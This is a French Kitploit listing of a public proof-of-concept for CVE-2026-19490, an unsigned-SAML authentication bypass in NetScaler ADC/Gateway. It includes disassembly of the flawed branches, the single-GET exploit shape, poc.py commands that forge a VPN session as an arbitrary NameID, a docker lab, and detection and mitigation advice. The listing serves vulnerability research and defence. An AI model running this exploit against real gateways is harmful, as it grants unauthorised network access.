Skip to content
KitploitKITPLOIT
OutilsBlog
Soumettre
OutilsBlog
Soumettre

Outils de Hacking, PenTest et Cybersécurité pour votre Arsenal de Sécurité !

Kitploit est un répertoire d'outils de hacking, de cybersécurité et de pentesting. Découvrez les dernières mises à jour des projets pour trouver des vulnérabilités, analyser des systèmes, automatiser les tests et renforcer votre sécurité.

··Flux·Contact·Confidentialité·© 2026 Kitploit

Répertoire d'outils

Catégories

Voir toutes les catégories
Loading categories
CVE-2026-19490 — NetScaler ADC/Gateway contournement de l'assertion SAML non signée via la liaison HTTP-Redirect (CTX696939) - analyse de la cause racine + PoC | Kitploit
Outils/GitHubGitHub/tarpeg007/cve-2026-19490
Analyse des VulnérabilitésExploitationExploitation d'Applications WebTests d'IntrusionAnalyse de BinairesAuthentificationRed Teaming
GitHubtarpeg007/cve-2026-19490

CVE-2026-19490

NetScaler ADC/Gateway contournement de l'assertion SAML non signée via la liaison HTTP-Redirect (CTX696939) - analyse de la cause racine + PoC

Voir le dépôt
1il y a 9h 6mPas encore vérifié

Populaires

Voir tout →

Découvrez les outils les plus utilisés par notre communauté.

Explorer tous les outils

Parcourez notre collection d'outils

Voir tous les outils →
Partager

CVE-2026-19490 — Contournement de l'authentification SAML NetScaler ADC/Gateway

Contrefaçon de session non authentifiée sur Citrix NetScaler ADC / NetScaler Gateway via le gestionnaire de liaison HTTP-Redirect SAML à GET /cgi/samlauth. CVSS 4.0 9.3, CWE-288. Bulletin CTX696939 (2026-08-19), aucun contournement. Le crédit du rapport original revient à Samarth Vashisht (équipe de test d'intrusion de JPMorgan Chase) ; l'analyse de la cause racine et le code de ce dépôt sont mon propre travail.

Versions concernées : 14.1 avant 14.1-73.32, 13.1 avant 13.1-63.21. Corrigé dans ces deux builds.

cause racine

Deux choses vont mal ensemble dans nsppe, le moteur de paquets.

1. la liaison de redirection analyse les assertions avec l'indicateur strict désactivé.

Tous les points d'appel de l'analyseur de réponse SAML (sub_b40a50) configurent un argument « strict » avant l'appel. Le chemin de liaison POST (ce que les navigateurs utilisent réellement pour les réponses SAML) le transmet activé. Le chemin de liaison HTTP-Redirect ne le fait pas :

root@kitploit:~
$ objdump -d -M intel --start-address=0xb7f532 --stop-address=0xb7f558 nsppe-14.1-73.30
  b7f532: 41 b8 00 00 00 00     mov    r8d,0x0          <-- strict OFF
  b7f538: 48 8d 8d d8 fe ff ff  lea    rcx,[rbp-0x128]
  b7f53f: 48 8b 95 b8 fe ff ff  mov    rdx,[rbp-0x148]
  b7f546: 8b b5 cc fe ff ff     mov    esi,[rbp-0x134]
  b7f54c: 48 8b 3d f5 9f 6f 02  mov    rdi,[rip+0x26f9ff5]
  b7f553: e8 f8 14 fc ff        call   b40a50            <-- l'analyseur

C'est le chemin alternatif au sens CWE-288. Même surface de requête, invocation d'analyseur plus faible, accessible à quiconque peut envoyer un GET avec un paramètre de requête SAMLResponse.

2. la barrière d'assertion non signée traite la configuration par défaut comme AUTORISÉE.

À l'intérieur du gestionnaire de redirection, lorsque la requête ne comporte pas de SigAlg/Signature, le mot de configuration pour rejectUnsignedAssertion est comparé et bifurqué comme ceci :

root@kitploit:~
$ objdump -d -M intel --start-address=0xb7ee3b --stop-address=0xb7ee41 nsppe-14.1-73.30
  b7ee3b: 83 78 08 02           cmp    DWORD PTR [rax+0x8],0x2
  b7ee3f: 74 5d                 je     b7ee9e            <-- saute vers le chemin ACCEPTER

Les valeurs du mot sont : 2 = rejectUnsignedAssertion ON (la valeur par défaut), 3 = STRICT. Le je envoie 2 vers accepter. Seul STRICT atteint la ligne de journal de refus :

root@kitploit:~
$ strings -t x nsppe-14.1-73.30 | grep 'denying as per action'
  2020998 SAMLIDP: Redirect Binding: Unsigned Assertion seen, denying as per action %s

Ainsi, sur une machine à configuration par défaut, une assertion non signée transmise à la liaison de redirection est analysée (strict désactivé), acceptée au-delà de la barrière de non-signature (ON mal interprété comme autorisation), puis exécute les étapes post-analyse ordinaires : vérifications émetteur/audience/sujet par rapport à la configuration d'action SAML, puis construction de session à partir de champs fournis par l'attaquant. Aucun digest, aucune vérification RSA, nulle part sur cette route. La liaison POST n'est pas affectée de la même manière — elle transmet strict à l'analyseur et rejette correctement les entrées non signées.

Conditions préalables selon le bulletin, confirmées contre le binaire : les builds à partir de 14.1-43.56 / 13.1-61.28 nécessitent une action SAML liée à un vserver Gateway ou AAA (la configuration SAML SSO normale, donc la plupart des déploiements SAML sont concernés). Les builds antérieurs enregistrent la route avec le vserver seul.

forme de l'exploit

Un seul GET. Construisez une réponse SAML sans aucun <ds:Signature> nulle part, DEFLATE + base64 puis envoyez :

root@kitploit:~
GET /cgi/samlauth?SAMLResponse=<b64(raw-deflate(xml))>&RelayState=<ctx> HTTP/1.1
Host: <gateway>

Les valeurs qui doivent correspondre à la configuration d'action SAML de la cible : assertion Issuer = l' ID d'entité IdP, Audience = l'ID d'entité SP, Recipient/Destination = l'URL ACS, et sur les configurations transactionnelles un InResponseTo provenant d'une AuthnRequest active. --mint parcourt la redirection de connexion pré-authentification de la passerelle elle-même pour capturer celles-ci (la SAMLRequest dans l' en-tête Location les contient toutes). Une redirection 302 vers /vpn/ plus un vrai cookie NSC_AAAC / NSC_TASS (pas les marqueurs de suppression xyz) est une session falsifiée en tant que NameID que vous avez mis.

utilisation

root@kitploit:~
pip install requests

# le point de terminaison est-il là et la liaison GET traite-t-elle SAMLResponse du tout
python3 poc.py https://vpn.target.com --check-only

# sonde de configuration non intrusive : assertion non signée avec un émetteur délibérément INCORRECT.
#   'Malformed Assertion' (0xe0005)  -> STRICT, non vulnérable à ce vecteur
#   erreur émetteur/politique (0xe0012)    -> configuration par défaut, vulnérable ; aucune session créée
python3 poc.py https://vpn.target.com --safe-oracle

# chaîne complète (cibles autorisées uniquement) : créez la chaîne SP, falsifiez, validez une fois
python3 poc.py https://vpn.target.com --mint --name-id [email protected]

--safe-oracle existe parce que les deux configurations renvoient des pages d'erreur différentes avant que quoi que ce soit en forme de session ne se produise, ce qui est aussi la façon dont les défenseurs peuvent s'auto-vérifier sans toucher à un véritable IdP. Exécutez-le contre votre propre équipement.

démo

demo/demo.gif (également demo.mp4, et demo/demo.cast si vous voulez le lire avec asciinema play) : build affecté issu de l'image docker, la configuration par défaut du mot 2, les deux branches binaires désassemblées depuis le nsppe fourni, et la vérification du point de terminaison du PoC. Le dernier kilomètre, l'émission de session, nécessite un VPX sous licence — CPX Express refuse les sessions AAA au niveau de la licence — c'est ce que lab/record-demo.sh capture lorsque vous en avez un.

laboratoire

lab/setup-cpx.sh met en place le build affecté exact dans docker :

root@kitploit:~
docker run -dt --privileged --name cpx19490 -e EULA=YES \
    quay.io/netscaler/netscaler-cpx:14.1-73.30
bash lab/setup-cpx.sh

et configure une action SAML avec rejectUnsignedAssertion ON, une politique, et un vserver Gateway. Deux mises en garde apprises à la dure :

  • CPX Express ne comporte pas de licence utilisateur SSLVPN/AAA. Le vserver sert /cgi/samlauth mais chaque requête aboutit sur 480 Login exceeds maximum allowed users. Suffisant pour reproduire la configuration + le point de terminaison + l'état binaire, pas le cookie de session final.
  • Pour l'exécution complète d'émission de session, vous voulez un VPX avec la licence Developer Edition gratuite (My Citrix → téléchargements → NetScaler VPX, puis CTX587663 pour le processus de licence). Même CLI que dans le script de configuration, puis lab/record-demo.sh enregistre toute la séquence asciinema : version, configuration, safe-oracle, session falsifiée, contrôle négatif STRICT.

Les décalages du binaire fourni ci-dessus proviennent directement de cette image :

root@kitploit:~
docker cp cpx19490:/var/netscaler/bins/nsppe ./nsppe-14.1-73.30
objdump -d -M intel --start-address=0xb7ee3b --stop-address=0xb7ee41 ./nsppe-14.1-73.30

détection / atténuation

  • Mettez à niveau vers 14.1-73.32+ / 13.1-63.21+. Il n'existe aucun contournement pris en charge.
  • set samlAction <name> -samlRejectUnsignedAssertion STRICT bloque le vecteur de redirection sur le chemin vulnérable (il fait passer le mot à 3). Sachez que STRICT modifie également ce que la machine attend de votre IdP (exigences de signature Response + Assertion), ce qui est probablement la raison pour laquelle Citrix livre ON par défaut et pourquoi « il suffit de définir STRICT » n'est pas un contournement propre pour tout le monde.
  • Détection : requêtes vers /cgi/samlauth comportant SAMLResponse en GET (les réponses de liaison de redirection sont rares dans la nature — les navigateurs font des POST), les charges utiles non signées, et la différence de page d'erreur ci-dessus.

légal

Pour les tests de sécurité autorisés uniquement : votre propre laboratoire, ou des cibles explicitement dans le périmètre d'un programme pour lequel vous êtes autorisé. L'auteur n'est affilié ni à Citrix ni à l'équipe de signalement d'origine.

chronologie

  • 2026-08-19 — Bulletin Citrix CTX696939, correctifs livrés
  • 2026-09 — cette analyse de cause racine et ce PoC

Licence MIT, voir LICENSE.

Télécharger l’outil